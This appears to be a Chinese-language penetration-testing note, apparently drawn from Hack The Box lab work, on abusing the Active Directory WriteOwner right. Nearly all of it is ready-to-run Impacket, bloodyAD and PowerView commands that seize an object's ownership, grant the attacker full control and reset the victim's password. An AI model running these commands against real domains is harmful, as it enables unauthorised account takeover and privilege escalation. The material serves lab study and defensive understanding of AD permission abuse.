6.WriteOwner

1. 利用

1.1. 利用条件

这种滥用行为可以在攻击者控制一个对任何对象拥有 WriteOwner 或 GenericAll 权限的对象时执行。
如：Pasted image 20250627134551

1.2. 利用工具

1.2.1. Impacket 套件

对于上面 WriteOwner 权限时，可以先提升到 GenericAll 权限，然后修改密码即可

#先更改对象的所有权
impacket-owneredit -action write -owner 'attacker' -target 'victim' 'DOMAIN'/'USER':'PASSWORD'

#授予自己 GenericAll 权限
impacket-dacledit -action 'write' -rights 'FullControl' -principal 'controlledUser' -target 'targetUser' 'domain'/'controlledUser':'password'

#后续后修改目标的密码
bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u 'sam' -p 'Admin123!' set password  john Admin123!

修改后的DACL
Pasted image 20250627141049
Pasted image 20250628163120

1.2.2. 使用 bloodyAD

#修改owner属性
┌──(root㉿kali)-[~/Desktop/htb/Haze]
└─# bloodyAD --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -k set owner Support_Services 'Haze-IT-Backup$'
[+] Old owner S-1-5-21-323145914-28650650-2368316563-512 is now replaced by Haze-IT-Backup$ on Support_Services

#配置genericAll属性
┌──(root㉿kali)-[~/Desktop/htb/Haze]
└─# bloodyAD --host dc01.haze.htb -d haze.htb -u 'Haze-IT-Backup$' -k add genericAll Support_Services 'Haze-IT-Backup$'
[+] Haze-IT-Backup$ has now GenericAll on Support_Services

powershell

# 修改 gpoadm 的所有者为 Amelia.Griffiths
Set-DomainObjectOwner -TargetIdentity gpoadm -OwnerIdentity Amelia.Griffiths

# 授予 Amelia.Griffiths 对 gpoadm 的完全控制权
Add-DomainObjectAcl -TargetIdentity gpoadm -PrincipalIdentity Amelia.Griffiths -Rights All

# 创建密码对象
$UserPassword = ConvertTo-SecureString 'Admin123' -AsPlainText -Force

# 重置 gpoadm 的密码
Set-DomainUserPassword -Identity gpoadm -AccountPassword $UserPassword